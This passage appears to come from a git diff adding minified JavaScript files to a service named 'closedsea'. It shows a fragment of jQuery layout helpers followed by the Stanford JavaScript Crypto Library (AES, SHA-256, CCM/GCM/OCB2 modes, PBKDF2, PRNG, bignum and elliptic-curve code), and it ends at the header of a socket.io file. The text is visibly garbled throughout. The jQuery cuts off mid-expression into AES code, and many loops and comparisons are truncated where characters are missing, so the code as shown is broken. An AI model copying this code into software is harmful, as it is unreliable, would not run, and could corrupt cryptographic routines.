r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0>>24]<<24^f[c>>16&255]<<16^f[c>>8&255]<<8^f[c&255],0===a%b&&(c=c<<8^c>>>24^h<<24,h=h<<1^283*(h>>7));d[a]=d[a-b]^c}for(b=0;a;b++,a--)c=d[b&3?a:a-4],e[b]=4>=a||4>b?c:g[0][f[c>>>24]]^g[1][f[c>>16&255]]^g[2][f[c>>8&255]]^g[3][f[c& +255]]}; +sjcl.cipher.aes.prototype={encrypt:function(a){return t(this,a,0)},decrypt:function(a){return t(this,a,1)},D:[[[],[],[],[],[]],[[],[],[],[],[]]],X:function(){var a=this.D[0],b=this.D[1],c=a[4],d=b[4],e,f,g,h=[],k=[],l,n,m,p;for(e=0;0x100>e;e++)k[(h[e]=e<<1^283*(e>>7))^e]=e;for(f=g=0;!c[f];f^=l||1,g=k[g]||1)for(m=g^g<<1^g<<2^g<<3^g<<4,m=m>>8^m&255^99,c[f]=m,d[m]=f,n=h[e=h[l=h[f]]],p=0x1010101*n^0x10001*e^0x101*l^0x1010100*f,n=0x101*h[m]^0x1010100*m,e=0;4>e;e++)a[e][f]=n=n<<24^n>>>8,b[e][m]=p=p<<24^p>>>8;for(e= +0;5>e;e++)a[e]=a[e].slice(0),b[e]=b[e].slice(0)}}; +function t(a,b,c){if(4!==b.length)throw new sjcl.exception.invalid("invalid aes block size");var d=a.g[c],e=b[0]^d[0],f=b[c?3:1]^d[1],g=b[2]^d[2];b=b[c?1:3]^d[3];var h,k,l,n=d.length/4-2,m,p=4,r=[0,0,0,0];h=a.D[c];a=h[0];var q=h[1],u=h[2],x=h[3],y=h[4];for(m=0;m>>24]^q[f>>16&255]^u[g>>8&255]^x[b&255]^d[p],k=a[f>>>24]^q[g>>16&255]^u[b>>8&255]^x[e&255]^d[p+1],l=a[g>>>24]^q[b>>16&255]^u[e>>8&255]^x[f&255]^d[p+2],b=a[b>>>24]^q[e>>16&255]^u[f>>8&255]^x[g&255]^d[p+3],p+=4,e=h,f=k,g=l;for(m= +0;4>m;m++)r[c?3&-m:m]=y[e>>>24]<<24^y[f>>16&255]<<16^y[g>>8&255]<<8^y[b&255]^d[p++],h=e,e=f,f=g,g=b,b=h;return r} +sjcl.bitArray={bitSlice:function(a,b,c){a=sjcl.bitArray.ia(a.slice(b/32),32-(b&31)).slice(1);return void 0===c?a:sjcl.bitArray.clamp(a,c-b)},extract:function(a,b,c){var d=Math.floor(-b-c&31);return((b+c-1^b)&-32?a[b/32|0]<<32-d^a[b/32+1|0]>>>d:a[b/32|0]>>>d)&(1<>b-1,1));return a},partial:function(a,b,c){return 32===a?b:(c?b|0:b<<32-a)+0x10000000000*a},getPartial:function(a){return Math.round(a/0x10000000000)||32},equal:function(a,b){if(sjcl.bitArray.bitLength(a)!==sjcl.bitArray.bitLength(b))return!1;var c=0,d;for(d=0;d>>b),c=a[e]<<32-b;e=a.length?a[a.length-1]:0;a=sjcl.bitArray.getPartial(e);d.push(sjcl.bitArray.partial(b+a&31,32>>24|c>>>8&0xff00|(c&0xff00)<<8|c<<24;return a}}; +sjcl.codec.utf8String={fromBits:function(a){var b="",c=sjcl.bitArray.bitLength(a),d,e;for(d=0;d>>8>>>8>>>8),e<<=8;return decodeURIComponent(escape(b))},toBits:function(a){a=unescape(encodeURIComponent(a));var b=[],c,d=0;for(c=0;c>>g)>>>e),gn){if(!b)try{return sjcl.codec.base32hex.toBits(a)}catch(p){}throw new sjcl.exception.invalid("this isn't "+m+"!");}h>e?(h-=e,f.push(l^n>>>h),l=n<>>e)>>>26),6>e?(g=a[c]<<6-e,e+=26,c++):(g<<=6,e-=6);for(;d.length&3&&!b;)d+="=";return d},toBits:function(a,b){a=a.replace(/\s|=/g,"");var c=[],d,e=0,f=sjcl.codec.base64.J,g=0,h;b&&(f=f.substr(0,62)+"-_");for(d=0;dh)throw new sjcl.exception.invalid("this isn't base64!");26>>e),g=h<<32-e):(e+=6,g^=h<<32-e)}e&56&&c.push(sjcl.bitArray.partial(e&56,g,1));return c}};sjcl.codec.base64url={fromBits:function(a){return sjcl.codec.base64.fromBits(a,1,1)},toBits:function(a){return sjcl.codec.base64.toBits(a,1)}};sjcl.hash.sha256=function(a){this.g[0]||this.X();a?(this.N=a.N.slice(0),this.I=a.I.slice(0),this.A=a.A):this.reset()};sjcl.hash.sha256.hash=function(a){return(new sjcl.hash.sha256).update(a).finalize()}; +sjcl.hash.sha256.prototype={blockSize:512,reset:function(){this.N=this.fa.slice(0);this.I=[];this.A=0;return this},update:function(a){"string"===typeof a&&(a=sjcl.codec.utf8String.toBits(a));var b,c=this.I=sjcl.bitArray.concat(this.I,a);b=this.A;a=this.A=b+sjcl.bitArray.bitLength(a);if(0x1fffffffffffffb;c++){e=!0;for(d=2;d*d<=c;d++)if(0===c% +d){e=!1;break}e&&(8>b&&(this.fa[b]=a(Math.pow(c,.5))),this.g[b]=a(Math.pow(c,1/3)),b++)}}}; +function v(a,b){var c,d,e,f=a.N,g=a.g,h=f[0],k=f[1],l=f[2],n=f[3],m=f[4],p=f[5],r=f[6],q=f[7];for(c=0;64>c;c++)16>c?d=b[c]:(d=b[c+1&15],e=b[c+14&15],d=b[c&15]=(d>>>7^d>>>18^d>>>3^d<<25^d<<14)+(e>>>17^e>>>19^e>>>10^e<<15^e<<13)+b[c&15]+b[c+9&15]|0),d=d+q+(m>>>6^m>>>11^m>>>25^m<<26^m<<21^m<<7)+(r^m&(p^r))+g[c],q=r,r=p,p=m,m=n+d|0,n=l,l=k,k=h,h=d+(k&l^n&(k^l))+(k>>>2^k>>>13^k>>>22^k<<30^k<<19^k<<10)|0;f[0]=f[0]+h|0;f[1]=f[1]+k|0;f[2]=f[2]+l|0;f[3]=f[3]+n|0;f[4]=f[4]+m|0;f[5]=f[5]+p|0;f[6]=f[6]+r|0;f[7]= +f[7]+q|0} +sjcl.mode.ccm={name:"ccm",O:[],listenProgress:function(a){sjcl.mode.ccm.O.push(a)},unListenProgress:function(a){a=sjcl.mode.ccm.O.indexOf(a);-1k)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(f=2;4>f&&l>>>8*f;f++);f<15-k&&(f=15-k);c=h.clamp(c, +8*(15-f));b=sjcl.mode.ccm.ca(a,b,c,d,e,f);g=sjcl.mode.ccm.K(a,g,c,b,e,f);return h.concat(g.data,g.tag)},decrypt:function(a,b,c,d,e){e=e||64;d=d||[];var f=sjcl.bitArray,g=f.bitLength(c)/8,h=f.bitLength(b),k=f.clamp(b,h-e),l=f.bitSlice(b,h-e),h=(h-e)/8;if(7>g)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(b=2;4>b&&h>>>8*b;b++);b<15-g&&(b=15-g);c=f.clamp(c,8*(15-b));k=sjcl.mode.ccm.K(a,k,c,l,e,b);a=sjcl.mode.ccm.ca(a,k.data,c,d,e,b);if(!f.equal(k.tag,a))throw new sjcl.exception.corrupt("ccm: tag doesn't match"); +return k.data},xa:function(a,b,c,d,e,f){var g=[],h=sjcl.bitArray,k=h.s;d=[h.partial(8,(b.length?64:0)|d-2<<2|f-1)];d=h.concat(d,c);d[3]|=e;d=a.encrypt(d);if(b.length)for(c=h.bitLength(b)/8,65279>=c?g=[h.partial(16,c)]:0xffffffff>=c&&(g=h.concat([h.partial(16,65534)],[c])),g=h.concat(g,b),b=0;be||16n&&(sjcl.mode.ccm.pa(g/ +k),n+=m),c[3]++,e=a.encrypt(c),b[g]^=e[0],b[g+1]^=e[1],b[g+2]^=e[2],b[g+3]^=e[3];return{tag:d,data:h.clamp(b,l)}}}; +sjcl.mode.ocb2={name:"ocb2",encrypt:function(a,b,c,d,e,f){if(128!==sjcl.bitArray.bitLength(c))throw new sjcl.exception.invalid("ocb iv must be 128 bits");var g,h=sjcl.mode.ocb2.$,k=sjcl.bitArray,l=k.s,n=[0,0,0,0];c=h(a.encrypt(c));var m,p=[];d=d||[];e=e||64;for(g=0;g+4e.bitLength(c)&&(h=f(h,d(h)),c=e.concat(c,[-2147483648,0,0,0]));g=f(g,c); +return a.encrypt(f(d(f(h,d(h))),g))},$:function(a){return[a[0]<<1^a[1]>>>31,a[1]<<1^a[2]>>>31,a[2]<<1^a[3]>>>31,a[3]<<1^135*(a[0]>>>31)]}}; +sjcl.mode.gcm={name:"gcm",encrypt:function(a,b,c,d,e){var f=b.slice(0);b=sjcl.bitArray;d=d||[];a=sjcl.mode.gcm.K(!0,a,f,d,c,e||128);return b.concat(a.data,a.tag)},decrypt:function(a,b,c,d,e){var f=b.slice(0),g=sjcl.bitArray,h=g.bitLength(f);e=e||128;d=d||[];e<=h?(b=g.bitSlice(f,h-e),f=g.bitSlice(f,0,h-e)):(b=f,f=[]);a=sjcl.mode.gcm.K(!1,a,f,d,c,e);if(!g.equal(a.tag,b))throw new sjcl.exception.corrupt("gcm: tag doesn't match");return a.data},ua:function(a,b){var c,d,e,f,g,h=sjcl.bitArray.s;e=[0,0, +0,0];f=b.slice(0);for(c=0;128>c;c++){(d=0!==(a[Math.floor(c/32)]&1<<31-c%32))&&(e=h(e,f));g=0!==(f[3]&1);for(d=3;0>>1|(f[d-1]&1)<<31;f[0]>>>=1;g&&(f[0]^=-0x1f000000)}return e},w:function(a,b,c){var d,e=c.length;b=b.slice(0);for(d=0;de&&(a=b.hash(a));for(d=0;dd||0>c)throw new sjcl.exception.invalid("invalid params to pbkdf2");"string"===typeof a&&(a=sjcl.codec.utf8String.toBits(a));"string"===typeof b&&(b=sjcl.codec.utf8String.toBits(b));e=e||sjcl.misc.hmac;a=new e(a);var f,g,h,k,l=[],n=sjcl.bitArray;for(k=1;32*l.length<(d||1);k++){e=f=a.encrypt(n.concat(b,[k]));for(g=1;gg;g++)e.push(0x100000000*Math.random()|0);for(g=0;g=1<this.C&&(this.C= +f);this.Y++;this.g=sjcl.hash.sha256.hash(this.g.concat(e));this.U=new sjcl.cipher.aes(this.g);for(d=0;4>d&&(this.m[d]=this.m[d]+1|0,!this.m[d]);d++);}for(d=0;d>>1;this.h[g].update([d,this.W++,2,b,f,a.length].concat(a))}break;case "string":void 0===b&&(b=a.length);this.h[g].update([d,this.W++,3,b,f,a.length]);this.h[g].update(a);break;default:k=1}if(k)throw new sjcl.exception.bug("random: addEntropy only supports number, array of numbers or string");this.B[g]+=b;this.j+=b;h===this.F&&(this.isReady()!==this.F&&A("seeded",Math.max(this.C,this.j)),A("progress",this.getProgress()))}, +isReady:function(a){a=this.aa[void 0!==a?a:this.V];return this.C&&this.C>=a?this.B[0]>this.la&&(new Date).valueOf()>this.ha?this.S|this.R:this.R:this.j>=a?this.S|this.F:this.F},getProgress:function(a){a=this.aa[a?a:this.V];return this.C>=a?1:this.j>a?1:this.j/a},startCollectors:function(){if(!this.M){this.c={loadTimeCollector:B(this,this.wa),mouseCollector:B(this,this.ya),keyboardCollector:B(this,this.va),accelerometerCollector:B(this,this.oa),touchCollector:B(this,this.Aa)};if(window.addEventListener)window.addEventListener("load", +this.c.loadTimeCollector,!1),window.addEventListener("mousemove",this.c.mouseCollector,!1),window.addEventListener("keypress",this.c.keyboardCollector,!1),window.addEventListener("devicemotion",this.c.accelerometerCollector,!1),window.addEventListener("touchmove",this.c.touchCollector,!1);else if(document.attachEvent)document.attachEvent("onload",this.c.loadTimeCollector),document.attachEvent("onmousemove",this.c.mouseCollector),document.attachEvent("keypress",this.c.keyboardCollector);else throw new sjcl.exception.bug("can't attach event"); +this.M=!0}},stopCollectors:function(){this.M&&(window.removeEventListener?(window.removeEventListener("load",this.c.loadTimeCollector,!1),window.removeEventListener("mousemove",this.c.mouseCollector,!1),window.removeEventListener("keypress",this.c.keyboardCollector,!1),window.removeEventListener("devicemotion",this.c.accelerometerCollector,!1),window.removeEventListener("touchmove",this.c.touchCollector,!1)):document.detachEvent&&(document.detachEvent("onload",this.c.loadTimeCollector),document.detachEvent("onmousemove", +this.c.mouseCollector),document.detachEvent("keypress",this.c.keyboardCollector)),this.M=!1)},addEventListener:function(a,b){this.T[a][this.qa++]=b},removeEventListener:function(a,b){var c,d,e=this.T[a],f=[];for(d in e)e.hasOwnProperty(d)&&e[d]===b&&f.push(d);for(c=0;cb&&(a.m[b]=a.m[b]+1|0,!a.m[b]);b++);return a.U.encrypt(a.m)} +function B(a,b){return function(){b.apply(a,arguments)}}sjcl.random=new sjcl.prng(6); +a:try{var D,E,F,G;if(G="undefined"!==typeof module&&module.exports){var H;try{H=require("crypto")}catch(a){H=null}G=E=H}if(G&&E.randomBytes)D=E.randomBytes(128),D=new Uint32Array((new Uint8Array(D)).buffer),sjcl.random.addEntropy(D,1024,"crypto['randomBytes']");else if("undefined"!==typeof window&&"undefined"!==typeof Uint32Array){F=new Uint32Array(32);if(window.crypto&&window.crypto.getRandomValues)window.crypto.getRandomValues(F);else if(window.msCrypto&&window.msCrypto.getRandomValues)window.msCrypto.getRandomValues(F); +else break a;sjcl.random.addEntropy(F,1024,"crypto['getRandomValues']")}}catch(a){"undefined"!==typeof window&&window.console&&(console.log("There was an error collecting entropy from the browser:"),console.log(a))} +sjcl.json={defaults:{v:1,iter:1E4,ks:128,ts:64,mode:"ccm",adata:"",cipher:"aes"},ta:function(a,b,c,d){c=c||{};d=d||{};var e=sjcl.json,f=e.l({iv:sjcl.random.randomWords(4,0)},e.defaults),g;e.l(f,c);c=f.adata;"string"===typeof f.salt&&(f.salt=sjcl.codec.base64.toBits(f.salt));"string"===typeof f.iv&&(f.iv=sjcl.codec.base64.toBits(f.iv));if(!sjcl.mode[f.mode]||!sjcl.cipher[f.cipher]||"string"===typeof a&&100>=f.iter||64!==f.ts&&96!==f.ts&&128!==f.ts||128!==f.ks&&192!==f.ks&&0x100!==f.ks||2>f.iv.length|| +4=b.iter||64!==b.ts&&96!==b.ts&&128!==b.ts||128!==b.ks&&192!==b.ks&&0x100!==b.ks||!b.iv||2>b.iv.length||4=this.limbs.length?0:this.limbs[a]},greaterEquals:function(a){"number"===typeof a&&(a=new this.f(a));var b=0,c=0,d,e,f;for(d=Math.max(this.limbs.length,a.limbs.length)-1;0<=d;d--)e=this.getLimb(d),f=a.getLimb(d),c|=f-e&~b,b|=e-f&~c;return(c|~b)>>>31},toString:function(){this.fullReduce();var a="",b,c,d=this.limbs;for(b=0;bc.length;)c="0"+c;a=c+a}return"0x"+a},addM:function(a){"object"!==typeof a&&(a=new this.f(a));var b=this.limbs,c=a.limbs;for(a=b.length;a>d;b&&f.push(b);return this},halveM:function(){var a,b=0,c,d=this.radix,e=this.limbs;for(a=e.length-1;0<=a;a--)c=e[a],e[a]=c+b>> +1,b=(c&1)<>c+1)break;e=e.square()}return d},mulmod:function(a,b){return this.mod(b).mul(a.mod(b)).mod(b)},powermod:function(a,b){a=new sjcl.bn(a);b=new sjcl.bn(b);if(1==(b.limbs[0]&1)){var c=this.montpowermod(a,b);if(0!=c)return c}for(var d,e=a.normalize().trim().limbs,f=new this.f(1),g=this,c=0;c>d+1)break;g=g.mulmod(g,b)}return f},montpowermod:function(a,b){function c(a,b){var c=b%a.radix;return(a.limbs[Math.floor(b/a.radix)]&1<>c}function d(a,c){var d,e,f=(1<>=l+1;e.greaterEquals(b)&&e.subM(b);return e}a=(new sjcl.bn(a)).normalize().trim();b=new sjcl.bn(b);var e,f,g=this.radix,h=new this.f(1);e=this.copy();var k,l,n;n=a.bitLength();k=new sjcl.bn({limbs:b.copy().normalize().trim().limbs.map(function(){return 0})});for(l=this.radix;0>l&1)){k.limbs[k.limbs.length-1]=1<n?1:48>n?3:144>n?4:768>n?5:6;var m=k.copy(),p=b.copy();f=new sjcl.bn(1);for(var r=new sjcl.bn(0), +q=k.copy();q.greaterEquals(1);)q.halveM(),0==(f.limbs[0]&1)?(f.halveM(),r.halveM()):(f.addM(p),f.halveM(),r.halveM(),r.addM(m));f=f.normalize();r=r.normalize();m.doubleM();p=m.mulmod(m,b);if(!m.mul(f).sub(b.mul(r)).equals(1))return!1;e=d(e,p);h=d(h,p);m={};f=(1<>>=1)a++;return a+7&-8}}; +sjcl.bn.fromBits=function(a){var b=new this,c=[],d=sjcl.bitArray,e=this.prototype,f=Math.min(this.bitLength||0x100000000,d.bitLength(a)),g=f%e.radix||e.radix;for(c[0]=d.extract(a,0,g);gd;){c=e.pop();u=e.length;for(b=0;bc[e-1]&&(c[e-1]+=0x100000000);while(Math.floor(c[e-1]/f)===Math.floor(0x100000000/f));c[e-1]%=f;for(d=0;db;b++)c=c.add(this),a.push(c);this.ga=[new sjcl.ecc.point(this.curve),this].concat(sjcl.ecc.pointJac.toAffineMultiple(a))}return this.ga},negate:function(){var a= +(new this.curve.field(0)).sub(this.y).normalize().reduce();return new sjcl.ecc.point(this.curve,this.x,a)},isValid:function(){return this.y.square().equals(this.curve.b.add(this.x.mul(this.curve.a.add(this.x.square()))))},toBits:function(){return sjcl.bitArray.concat(this.x.toBits(),this.y.toBits())}};sjcl.ecc.pointJac=function(a,b,c,d){void 0===b?this.isIdentity=!0:(this.x=b,this.y=c,this.z=d,this.isIdentity=!1);this.curve=a}; +sjcl.ecc.pointJac.toAffineMultiple=function(a){for(var b=0,c,d=Array(a.length),e,f,g,h,k;b>d&15]);return e},mult2:function(a,b,c,d){"number"===typeof a?a=[a]:void 0!==a.limbs&&(a=a.normalize().limbs);"number"===typeof c?c=[c]:void 0!==c.limbs&&(c=c.normalize().limbs);var e,f=(new sjcl.ecc.point(this.curve)).toJac();b=b.multiples();var g=d.multiples(),h,k;for(d=Math.max(a.length,c.length)-1;0<=d;d--)for(h=a[d]|0,k=c[d]|0,e=sjcl.bn.prototype.radix-4;0<=e;e-=4)f=f.doubl().doubl().doubl().doubl().add(b[h>>e&15]).add(g[k>>e&15]);return f},negate:function(){return this.toAffine().negate().toJac()}, +isValid:function(){var a=this.z.square(),b=a.square(),a=b.mul(a);return this.y.square().equals(this.curve.b.mul(a).add(this.x.mul(this.curve.a.mul(b).add(this.x.square()))))}};sjcl.ecc.curve=function(a,b,c,d,e,f){this.field=a;this.r=new sjcl.bn(b);this.a=new a(c);this.b=new a(d);this.G=new sjcl.ecc.point(this,new a(e),new a(f))}; +sjcl.ecc.curve.prototype.fromBits=function(a){var b=sjcl.bitArray,c=this.field.prototype.exponent+7&-8;a=new sjcl.ecc.point(this,this.field.fromBits(b.bitSlice(a,0,c)),this.field.fromBits(b.bitSlice(a,c,2*c)));if(!a.isValid())throw new sjcl.exception.corrupt("not on the curve!");return a}; +sjcl.ecc.curves={c192:new sjcl.ecc.curve(sjcl.bn.prime.p192,"0xffffffffffffffffffffffff99def836146bc9b1b4d22831",-3,"0x64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1","0x188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012","0x07192b95ffc8da78631011ed6b24cdd573f977a11e794811"),c224:new sjcl.ecc.curve(sjcl.bn.prime.p224,"0xffffffffffffffffffffffffffff16a2e0b8f03e13dd29455c5c2a3d",-3,"0xb4050a850c04b3abf54132565044b0b7d7bfd8ba270b39432355ffb4","0xb70e0cbd6bb4bf7f321390b94a03c1d356c21122343280d6115c1d21", +"0xbd376388b5f723fb4c22dfe6cd4375a05a07476444d5819985007e34"),c256:new sjcl.ecc.curve(sjcl.bn.prime.p256,"0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551",-3,"0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b","0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296","0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5"),c384:new sjcl.ecc.curve(sjcl.bn.prime.p384,"0xffffffffffffffffffffffffffffffffffffffffffffffffc7634d81f4372ddf581a0db248b0a77aecec196accc52973", +-3,"0xb3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aef","0xaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab7","0x3617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5f"),c521:new sjcl.ecc.curve(sjcl.bn.prime.p521,"0x1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409",-3,"0x051953EB9618E1C9A1F929A21A0B68540EEA2DA725B99B315F3B8B489918EF109E156193951EC7E937B1652C0BD3BB1BF073573DF883D2C34F1EF451FD46B503F00", +"0xC6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66","0x11839296A789A3BC0045C8A5FB42C7D1BD998F54449579B446817AFBD17273E662C97EE72995EF42640C550B9013FAD0761353C7086A272C24088BE94769FD16650"),k192:new sjcl.ecc.curve(sjcl.bn.prime.p192k,"0xfffffffffffffffffffffffe26f2fc170f69466a74defd8d",0,3,"0xdb4ff10ec057e9ae26b07d0280b7f4341da5d1b1eae06c7d","0x9b2f2f6d9c5628a7844163d015be86344082aa88d95e2f9d"),k224:new sjcl.ecc.curve(sjcl.bn.prime.p224k, +"0x010000000000000000000000000001dce8d2ec6184caf0a971769fb1f7",0,5,"0xa1455b334df099df30fc28a169a467e9e47075a90f7e650eb6b7a45c","0x7e089fed7fba344282cafbd6f7e319f7c0b0bd59e2ca4bdb556d61a5"),k256:new sjcl.ecc.curve(sjcl.bn.prime.p256k,"0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141",0,7,"0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798","0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8")}; +sjcl.ecc.curveName=function(a){for(var b in sjcl.ecc.curves)if(sjcl.ecc.curves.hasOwnProperty(b)&&sjcl.ecc.curves[b]===a)return b;throw new sjcl.exception.invalid("no such curve");}; +sjcl.ecc.deserialize=function(a){if(!a||!a.curve||!sjcl.ecc.curves[a.curve])throw new sjcl.exception.invalid("invalid serialization");if(-1===["elGamal","ecdsa"].indexOf(a.type))throw new sjcl.exception.invalid("invalid type");var b=sjcl.ecc.curves[a.curve];if(a.secretKey){if(!a.exponent)throw new sjcl.exception.invalid("invalid exponent");var c=new sjcl.bn(a.exponent);return new sjcl.ecc[a.type].secretKey(b,c)}if(!a.point)throw new sjcl.exception.invalid("invalid point");c=b.fromBits(sjcl.codec.hex.toBits(a.point)); +return new sjcl.ecc[a.type].publicKey(b,c)}; +sjcl.ecc.basicKey={publicKey:function(a,b){this.i=a;this.u=a.r.bitLength();b instanceof Array?this.o=a.fromBits(b):this.o=b;this.serialize=function(){var b=sjcl.ecc.curveName(a);return{type:this.getType(),secretKey:!1,point:sjcl.codec.hex.fromBits(this.o.toBits()),curve:b}};this.get=function(){var a=this.o.toBits(),b=sjcl.bitArray.bitLength(a),e=sjcl.bitArray.bitSlice(a,0,b/2),a=sjcl.bitArray.bitSlice(a,b/2);return{x:e,y:a}}},secretKey:function(a,b){this.i=a;this.u=a.r.bitLength();this.L=b;this.serialize= +function(){var b=this.get(),d=sjcl.ecc.curveName(a);return{type:this.getType(),secretKey:!0,exponent:sjcl.codec.hex.fromBits(b),curve:d}};this.get=function(){return this.L.toBits()}}};sjcl.ecc.basicKey.generateKeys=function(a){return function(b,c,d){b=b||0x100;if("number"===typeof b&&(b=sjcl.ecc.curves["c"+b],void 0===b))throw new sjcl.exception.invalid("no such curve");d=d||sjcl.bn.random(b.r,c);c=b.G.mult(d);return{pub:new sjcl.ecc[a].publicKey(b,c),sec:new sjcl.ecc[a].secretKey(b,d)}}}; +sjcl.ecc.elGamal={generateKeys:sjcl.ecc.basicKey.generateKeys("elGamal"),publicKey:function(a,b){sjcl.ecc.basicKey.publicKey.apply(this,arguments)},secretKey:function(a,b){sjcl.ecc.basicKey.secretKey.apply(this,arguments)}};sjcl.ecc.elGamal.publicKey.prototype={kem:function(a){a=sjcl.bn.random(this.i.r,a);var b=this.i.G.mult(a).toBits();return{key:sjcl.hash.sha256.hash(this.o.mult(a).toBits()),tag:b}},getType:function(){return"elGamal"}}; +sjcl.ecc.elGamal.secretKey.prototype={unkem:function(a){return sjcl.hash.sha256.hash(this.i.fromBits(a).mult(this.L).toBits())},dh:function(a){return sjcl.hash.sha256.hash(a.o.mult(this.L).toBits())},dhJavaEc:function(a){return a.o.mult(this.L).x.toBits()},getType:function(){return"elGamal"}};sjcl.ecc.ecdsa={generateKeys:sjcl.ecc.basicKey.generateKeys("ecdsa")};sjcl.ecc.ecdsa.publicKey=function(a,b){sjcl.ecc.basicKey.publicKey.apply(this,arguments)}; +sjcl.ecc.ecdsa.publicKey.prototype={verify:function(a,b,c){sjcl.bitArray.bitLength(a)>this.u&&(a=sjcl.bitArray.clamp(a,this.u));var d=sjcl.bitArray,e=this.i.r,f=this.u,g=sjcl.bn.fromBits(d.bitSlice(b,0,f)),d=sjcl.bn.fromBits(d.bitSlice(b,f,2*f)),h=c?d:d.inverseMod(e),f=sjcl.bn.fromBits(a).mul(h).mod(e),h=g.mul(h).mod(e),f=this.i.G.mult2(f,h,this.o).x;if(g.equals(0)||d.equals(0)||g.greaterEquals(e)||d.greaterEquals(e)||!f.equals(g)){if(void 0===c)return this.verify(a,b,!0);throw new sjcl.exception.corrupt("signature didn't check out"); +}return!0},getType:function(){return"ecdsa"}};sjcl.ecc.ecdsa.secretKey=function(a,b){sjcl.ecc.basicKey.secretKey.apply(this,arguments)}; +sjcl.ecc.ecdsa.secretKey.prototype={sign:function(a,b,c,d){sjcl.bitArray.bitLength(a)>this.u&&(a=sjcl.bitArray.clamp(a,this.u));var e=this.i.r,f=e.bitLength();d=d||sjcl.bn.random(e.sub(1),b).add(1);b=this.i.G.mult(d).x.mod(e);a=sjcl.bn.fromBits(a).add(b.mul(this.L));c=c?a.inverseMod(e).mul(d).mod(e):a.mul(d.inverseMod(e)).mod(e);return sjcl.bitArray.concat(b.toBits(f),c.toBits(f))},getType:function(){return"ecdsa"}};"undefined"!==typeof module&&module.exports&&(module.exports=sjcl); +"function"===typeof define&&define([],function(){return sjcl}); diff --git a/services/service1/service/closedsea/src/static/socket.io.min.js b/services/service1/service/closedsea/src/static/socket.io.min.js new file mode 100644 index 